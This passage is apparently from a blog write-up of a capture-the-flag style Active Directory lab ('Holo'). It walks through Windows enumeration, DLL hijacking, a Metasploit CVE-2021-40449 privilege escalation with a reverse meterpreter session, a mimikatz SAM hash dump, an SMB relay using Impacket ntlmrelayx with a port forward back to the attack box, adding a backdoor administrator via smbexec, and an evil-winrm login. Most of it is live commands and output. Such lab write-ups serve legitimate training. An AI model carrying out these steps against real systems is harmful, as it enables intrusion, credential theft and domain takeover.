\Microsoft\Windows\Windows Error Reporting\    QueueReporting                    Ready
\Microsoft\Windows\Windows Filtering Platform\ BfeOnServiceStartTypeChange       Ready
\Microsoft\Windows\Windows Media Sharing\      UpdateLibrary                     Ready
\Microsoft\Windows\WindowsColorSystem\         Calibration Loader                Ready
\Microsoft\Windows\WindowsUpdate\              Scheduled Start                   Ready
\Microsoft\Windows\Wininet\                    CacheTask                         Running
\Microsoft\Windows\Workplace Join\             Automatic-Device-Join             Ready
\Microsoft\Windows\Workplace Join\             Recovery-Check                    Disabled
  • Get-ScheduledTask -TaskPath "\Microsoft\Windows\Wininet\"
PS C:\Windows\System32\spool\drivers\color> Get-ScheduledTask -TaskPath "\Microsoft\Windows\Wininet\"

TaskPath                                       TaskName                          State
--------                                       --------                          -----
\Microsoft\Windows\Wininet\                    CacheTask                         Running
  • Get-ScheduledTaskInfo -TaskName "\Microsoft\Windows\Wininet\CacheTask"
PS C:\Windows\System32\spool\drivers\color> Get-ScheduledTaskInfo -TaskName "\Microsoft\Windows\Wininet\CacheTask"

LastRunTime        : 1/29/2022 2:09:09 AM
LastTaskResult     : 267009
NextRunTime        :
NumberOfMissedRuns : 0
TaskName           : \Microsoft\Windows\Wininet\CacheTask
TaskPath           :
PSComputerName     :
  • whoami /priv
PS C:\Windows\System32\spool\drivers\color> whoami /priv


Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

NOTE: Just to add further salt to the wound, the next 3 commands relating to Active Directory enumeration using the ActiveDirectory module do not actually work on this box.

From my research, the only way to enable it is to use an Administrator account running PowerShell… therefore, the below screenshots of the command output is from the task itself.

  • Import-Module ActiveDirectory; Get-ADGroup

  • Import-Module ActiveDirectory; Get-ADGroupMember

  • Import-Module ActiveDirectory; Get-ADPrincipalGroupMembership

Task 43 – Privilege Escalation – WERE TAKING OVER THIS DLL!

From the MITRE ATT&CK framework, DLL Hijacking is defined as "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. [1] Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution." The AT&CK Technique ID is T1574.

To utilize DLL Hijacking for privilege escalation, we will need to research the application and known vulnerabilities and DLLs and find a DLL not present on the system we have write access to.

DLL Hijacking can also be used for persistence, as we will see later in the next task. This process is much easier than the previous one as we can use process monitoring tools like ProcMon and ProcessHacker2 to monitor for DLLs and their locations that can take over. The DLL persistence works by running the DLL with the application every time the system restarts or our connection is interrupted. This can be an application we put onto the system or an application already present that we exploit.

Steps taken to perform DLL hijacking are outlined below.

  • Identify vulnerable application and location
  • Identify applications PID
  • Identify vulnerable DLLs that can be hijacked
  • Use MSFVenom or other payload creation tools to create a malicious DLL
  • Replace the original DLL with the malicious DLL
  • Profit

Task 44 – Persistence – WERE TAKING OVER THIS DLL! Part: II

I have intentionally skipped showing any steps on task #43 due to the fact that in all honesty it didn’t actually explain what to do to find the DLL without having access to SYSTEM. I then decided to simply copy kavremover.exe to my own development Win 10 VM and ran ProcMon on it to find the DLL we were supposed to use to gain privilege escalation (see below for reason why this was not worthwhile)… because of said reason, using it for persistence was also irrelevant.

Using ProcMon to find exploitable DLLs

  • First, run ProcMon.exe – you will be presented with a window like below:

  • Minimize ProcMon and then start up karemover.exe – it will require Administrator access. Accept the agreement and you will land on a screen like below – you can now close the app by pressing the Exit button… we have captured what we need!

  • Now we return to ProcMon. To filter the list, go to Filter -> Filter in the top menu to open the Process Monitor Filter window:

  • The first filter we will apply is to Process Name that ends with karemover.exe:

  • Then we will set a filter for Path that ends with .dll:

  • Finally, we set a filter for Result that contains NAME NOT FOUND:

  • You should now have the following 3 new filters below:

  • Press OK button to apply the filters and get out of the Process Monitor Filter window – you will be presented with a list of hits, we need to find an attempt to "CreateFile" in a location we can write to (for persistence, this can be any DLL that doesn’t already exist since we can write to anything when SYSTEM – hence using something in C:\Windows would be better to mitigate detection)… below shows the DLL we are going to target:

NOTE: As suspected – the scheduled task for the app we are supposed to DLL hijack does not exist (hence why I couldn’t find it during the scheduled task check done in task #… so after hours of failures on all sorts of other attempts I finally loaded up a meterpreter session on PC-FILESRV01 as watamet and ran multi/recon/local_exploit_suggester on the unprivileged session…

msf6 post(multi/recon/local_exploit_suggester) > run

[*] - Collecting local exploits for x64/windows...
[*] - 31 exploit checks are being tried...
[+] - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.
[+] - exploit/windows/local/cve_2020_1337_printerdemon: The target appears to be vulnerable.
[+] - exploit/windows/local/cve_2020_17136: The target appears to be vulnerable. A vulnerable Windows 10 v1809 build was detected!
[+] - exploit/windows/local/cve_2021_40449: The target appears to be vulnerable. Vulnerable Windows 10 v1809 build detected!
[*] Post module execution completed

PRIVESC >> pwning PC-FILESRV01 using CVE-2021-40449 local privesc

msf6 exploit(windows/local/cve_2021_40449) > run

[*] Started reverse TCP handler on
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target's build number: 10.0.17763.1577
[+] The target appears to be vulnerable. Vulnerable Windows 10 v1809 build detected!
[*] Launching netsh to host the DLL...
[+] Process 4924 launched.
[*] Reflectively injecting the DLL into 4924...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200262 bytes) to
[*] Meterpreter session 3 opened ( -> ) at 2022-01-30 19:14:14 +1100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

LOOT >> PC-FILESRV01 root.txt!

C:\Users\Administrator\Desktop>type root.txt
type root.txt
LOOT >> lsadump::sam on PC-FILESRV01 – Administrator NTLM hash for Evil-WinRM!
mimikatz(powershell) # lsadump::sam
Domain : PC-FILESRV01
SysKey : 51412f14c5f14da393f8fa29e1670300
Local SID : S-1-5-21-4241685735-4112329853-1893400299

SAMKey : 65d982c48195c316cdb93707443dd4c1

RID  : 000001f4 (500)
User : Administrator


Task 45-47 – NTLM Relay – …

I am combining the 3 tasks due to the fact that most of it is not really necessary to repeat here, if theory is needed then go read the details in these tasks…

Below is the steps required to perform the SMB relay attack – this is using from Impacket to listen for SMB connections to grab the users NetNTLMv2 hash and relay the session, a meterpreter port forward to push all SMB data back to us, and we use from Impacket to dump all those juicy credz!

To successfully pull this off we need a server with SMB Signing disabled… DC-SRV01 happens to be just that. 😉

PRIVESC >> SMB relay attack!

  • Disabling SMB on PC-FILESRV01
meterpreter > shell
Process 4624 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1577]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>sc stop netlogon
sc stop netlogon

SERVICE_NAME: netlogon
        TYPE               : 20  WIN32_SHARE_PROCESS
        STATE              : 3  STOP_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0xea60

C:\Windows\system32>sc stop lanmanserver
sc stop lanmanserver

SERVICE_NAME: lanmanserver
        TYPE               : 20  WIN32_SHARE_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x4e20

C:\Windows\system32>sc config lanmanserver start= disabled
sc config lanmanserver start= disabled
[SC] ChangeServiceConfig SUCCESS

C:\Windows\system32>sc stop lanmanworkstation
sc stop lanmanworkstation
[SC] ControlService FAILED 1051:

A stop control has been sent to a service that other running services are dependent on.

C:\Windows\system32>sc config lanmanworkstation start= disabled
sc config lanmanworkstation start= disabled
[SC] ChangeServiceConfig SUCCESS

C:\Windows\system32>shutdown /r
shutdown /r

C:\Windows\system32>[*] - Meterpreter session 6 closed.  Reason: Died
  • Starting NTLMRelayX on attack box
❯ sudo python3 /usr/share/doc/python3-impacket/examples/ -t smb:// -smb2support -socks
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] SOCKS proxy started. Listening at port 1080
[*] SMB Socks Plugin loaded..
[*] HTTPS Socks Plugin loaded..
[*] HTTP Socks Plugin loaded..
[*] SMTP Socks Plugin loaded..
[*] IMAPS Socks Plugin loaded..
[*] MSSQL Socks Plugin loaded..
[*] IMAP Socks Plugin loaded..
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server

[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx>  * Serving Flask app "impacket.examples.ntlmrelayx.servers.socksserver" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
[-] Unsupported MechType 'MS KRB5 - Microsoft Kerberos 5'
[*] SMBD-Thread-8: Connection from HOLOLIVE/SRV-ADMIN@ controlled, attacking target smb://
[-] Unsupported MechType 'MS KRB5 - Microsoft Kerberos 5'
[*] Authenticating against smb:// as HOLOLIVE/SRV-ADMIN SUCCEED
[*] SOCKS: Adding HOLOLIVE/SRV-ADMIN@ to active SOCKS connection. Enjoy
  • Setting up port forward via meterpreter on SYSTEM account @ PC-FILESRV01
meterpreter > portfwd add -R -L -l 445 -p 445
[*] Local TCP relay created: <-> :445

PRIVESC >> adding account with Admin to DC-SRV01 via ntlmrelayed proxy and smbexec

sudo proxychains python3 /opt/impacket/examples/ -no-pass HOLOLIVE/SRV-ADMIN@
ProxyChains-3.1 (
Impacket v0.9.25.dev1+20220128.170256.e007046d - Copyright 2021 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>net user stimpz0r r00t3d! /add
The command completed successfully.

C:\Windows\system32>net localgroup Administrators /add stimpz0r
The command completed successfully.
LOOT >> DC-SRV01 root.txt!
❯ evil-winrm -i -u stimpz0r -p 'r00t3d!'

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\stimpz0r\Documents> cd ..\..\Administrator
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt

Cleaning up for the other users! 😉

meterpreter > shell
Process 3432 created.
Channel 224 created.
Microsoft Windows [Version 10.0.17763.1577]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>sc config lanmanworkstation start= auto
sc config lanmanworkstation start= auto
[SC] ChangeServiceConfig SUCCESS

C:\Windows\system32>sc config lanmanserver start= auto
sc config lanmanserver start= auto
[SC] ChangeServiceConfig SUCCESS

C:\Windows\system32>sc start lanmanworkstation
sc start lanmanworkstation

SERVICE_NAME: lanmanworkstation
        TYPE               : 20  WIN32_SHARE_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 544
        FLAGS              :

C:\Windows\system32>sc start lanmanserver
sc start lanmanserver

SERVICE_NAME: lanmanserver
        TYPE               : 20  WIN32_SHARE_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 2564
        FLAGS              :

C:\Windows\system32>sc start netlogon
sc start netlogon

SERVICE_NAME: netlogon
        TYPE               : 20  WIN32_SHARE_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 740
        FLAGS              : RUNS_IN_SYSTEM_PROCESS

Empire loaded with SYSTEM/root agents from all pwned boxes on Holo!

(yes the bottom one is L-SRV01 – for some reason python agents do not report their IP)

Leave a Reply

Your email address will not be published.